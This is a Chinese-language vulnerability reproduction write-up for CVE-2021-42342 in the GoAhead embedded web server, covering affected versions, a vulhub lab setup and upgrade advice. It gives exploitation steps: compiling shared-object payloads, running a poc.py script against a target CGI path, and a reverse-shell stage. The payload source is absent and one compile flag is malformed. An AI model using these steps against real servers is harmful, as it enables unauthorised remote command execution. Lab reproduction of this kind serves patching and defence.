GoAhead 是一个开源、简单、轻巧、功能强大、可以在多个平台运行的嵌入式 WebServer。该漏洞是由于上传过滤器没有设置不受信任的 var 位绕过 CGI 处理程序的前缀检测,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程命令执行攻击,最终获取服务器最高权限。
影响版本
目前受影响的 GoAhead 版本:
4.0.0<= GoAhead <= 4.1.2
5.0.0<= GoAhead < 5.1.5
漏洞复现
本次使用vulhub搭建本地测试环境进行复现:
https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2021-42342
(1)打印测试内容
编写打印测试文件的poc代码如下(poc.c):

使用如下命令编译以上代码:
gcc -s-shared -fPIC ./poc.c -o payload.so
使用自带的poc.py脚本对测试环境进行测试,获取回显。
python3 poc.py http://target-ip:8080/cgi-bin/indexpayload.so
(2)反弹shell
反弹shell的poc代码如下(shell.c):
使用如下命令编译以上代码:
gcc -s-shared -fPIC ./shell.c -o shell.so
在对应的ip端口上开启监听

执行payload,此时脚本可能会报错,但没有影响。
python3 poc.py http://target-ip:8080/cgi-bin/index shell.so
成功触发RCE:

处置建议
当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
https://github.com/embedthis/goahead